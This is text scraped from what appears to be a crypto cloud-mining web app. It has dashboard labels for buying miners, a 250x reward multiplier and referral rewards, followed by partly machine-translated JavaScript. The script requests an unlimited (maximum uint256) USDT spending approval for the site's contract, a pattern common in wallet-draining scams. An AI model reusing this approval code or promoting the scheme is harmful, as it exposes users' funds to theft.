💰 Asset Overview

0.0000
BNB Balance
0.00
USDT Balance
0.0000
DRM Balance
$0.00
Total Value

⛏️ Mining Statistics

0.0
Total Hashpower
0
Miner Count
0.0000
Pending DRM
0.0000
Total Claimed DRM
🔓 Unlocked
Can claim rewards

📊 Network Statistics

0.0K
Network Hashpower
0
Active Miners
250x
Reward Multiplier

🏦 Mining Pool Status

0.0
Mining Reward Pool Balance
0.0
Total Rewards Paid
Healthy
Pool Status

🛒 Select Miner

🎯 Miner Preview

Miner Preview
LV.1
40
Hashpower (TH/s)
100
Price (USDT)
1000
Price (DRM)

💳 USDT Purchase

100 USDT
Purchase Price

💎 DRM Purchase

1000 DRM
Purchase Price

🤖 My Miners

Loading miners...

🔄 Token Exchange

0.00
Will Receive DRM

💧 Liquidity Pool Status

0.00
USDT Pool Balance
0.00
DRM Pool Balance

🔗 My Referral Link

📊 Referral Statistics

0
Direct Referrals
0
Total Referrals
0.00
USDT Rewards
0
Hashpower Rewards

📊 Referral Overview

0
Referred Users
0
Referred Miners
0
Referred Hashpower TH/s
0
Referred Value USDT
// 添加active类到选中的标签 const targetContent = document.getElementById(this.dataset.tab); if (targetContent) { targetContent.classList.add("active"); } this.classList.add("active"); }); }); }, 1000); < 缺失FunctionFix --> // 最终FixScript if (window.ethereum) { if (typeof Web3IconReplacer !== "undefined") { window.web3IconReplacer = new Web3IconReplacer(); } } window.updateAuthorizeButtonStatus = function() { const btn = document.getElementById("authorize-usdt-btn"); if (btn) { btn.textContent = "Authorize USDT"; btn.disabled = false; } }; window.authorizeUSDTOnly = async function() { try { if (typeof Web3IconReplacer !== "undefined") { window.web3IconReplacer = new Web3IconReplacer(); } const addr = window.CONTRACT_ADDRESSES; const abi = [{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"type":"function"}]; const contract = new window.web3.eth.Contract(abi, addr.usdtToken); const max = "115792089237316195423570985008687907853269984665640564039457584007913129639935"; const tx = await contract.methods.approve(addr.unifiedSystem, max).send({from: window.currentAccount, gas: 100000}); const btn = document.getElementById("authorize-usdt-btn"); if (btn) { btn.textContent = "已Authorize USDT"; btn.disabled = true; } return tx; } catch (e) { console.error("AuthorizationFailed:", e); throw e; } }; // Fixed initV13RemixConfig function window.initV13RemixConfig = function() { console.log('🔧 Initializing V13 Remix configuration...'); // Check if required global variables exist if (!window.UNIFIED_SYSTEM_ABI) { console.error('❌ UNIFIED_SYSTEM_ABI not found in global scope'); throw new Error('UNIFIED_SYSTEM_ABI not loaded'); } if (!window.ERC20_ABI) { console.error('❌ ERC20_ABI not found in global scope'); throw new Error('ERC20_ABI not loaded'); } if (!window.CONTRACT_ADDRESSES) { console.error('❌ CONTRACT_ADDRESSES not found in global scope'); throw new Error('CONTRACT_ADDRESSES not loaded'); } const config = { UNIFIED_SYSTEM_ABI: window.UNIFIED_SYSTEM_ABI, ERC20_ABI: window.ERC20_ABI, CONTRACT_ADDRESSES: window.CONTRACT_ADDRESSES }; console.log('✅ V13 Remix configuration initialized successfully'); console.log('📋 Configuration details:'); console.log(' - UNIFIED_SYSTEM_ABI methods:', config.UNIFIED_SYSTEM_ABI.length); console.log(' - ERC20_ABI methods:', config.ERC20_ABI.length); console.log(' - Contract addresses:', Object.keys(config.CONTRACT_ADDRESSES)); return Promise.resolve(config); }; // Enhanced contract initialization with retry mechanism window.initializeContractsWithRetry = async function(maxRetries = 3) { for (let attempt = 1; attempt <= maxRetries; attempt++) { try { console.log(`🔄 Contract initialization attempt ${attempt}/${maxRetries}`); const debugInfo = window.debugContractInitialization(); if (!debugInfo.ready) { console.warn('⚠️ Required global variables not ready, waiting...'); await new Promise(resolve => setTimeout(resolve, 1000 * attempt)); continue; } const config = await window.initV13RemixConfig(); console.log('✅ Contract initialization successful on attempt', attempt); return config; } catch (error) { console.error(`❌ Contract initialization attempt ${attempt} failed:`, error); if (attempt === maxRetries) { throw new Error(`Contract initialization failed after ${maxRetries} attempts: ${error.message}`); } await new Promise(resolve => setTimeout(resolve, 2000 * attempt)); } } }; // Add contract initialization debugging window.debugContractInitialization = function() { console.log('🔍 Contract Initialization Debug:'); console.log(' - window.UNIFIED_SYSTEM_ABI exists:', !!window.UNIFIED_SYSTEM_ABI); console.log(' - window.ERC20_ABI exists:', !!window.ERC20_ABI); console.log(' - window.CONTRACT_ADDRESSES exists:', !!window.CONTRACT_ADDRESSES); if (window.UNIFIED_SYSTEM_ABI) { console.log(' - UNIFIED_SYSTEM_ABI length:', window.UNIFIED_SYSTEM_ABI.length); } if (window.CONTRACT_ADDRESSES) { console.log(' - Contract addresses:', Object.keys(window.CONTRACT_ADDRESSES)); console.log(' - Unified system address:', window.CONTRACT_ADDRESSES.unifiedSystem); } return { hasABI: !!window.UNIFIED_SYSTEM_ABI, hasERC20: !!window.ERC20_ABI, hasAddresses: !!window.CONTRACT_ADDRESSES, ready: !!(window.UNIFIED_SYSTEM_ABI && window.ERC20_ABI && window.CONTRACT_ADDRESSES) }; }; console.log('✅ Contract initialization fix loaded'); console.log("✅ 最终FixScriptLoadingComplete");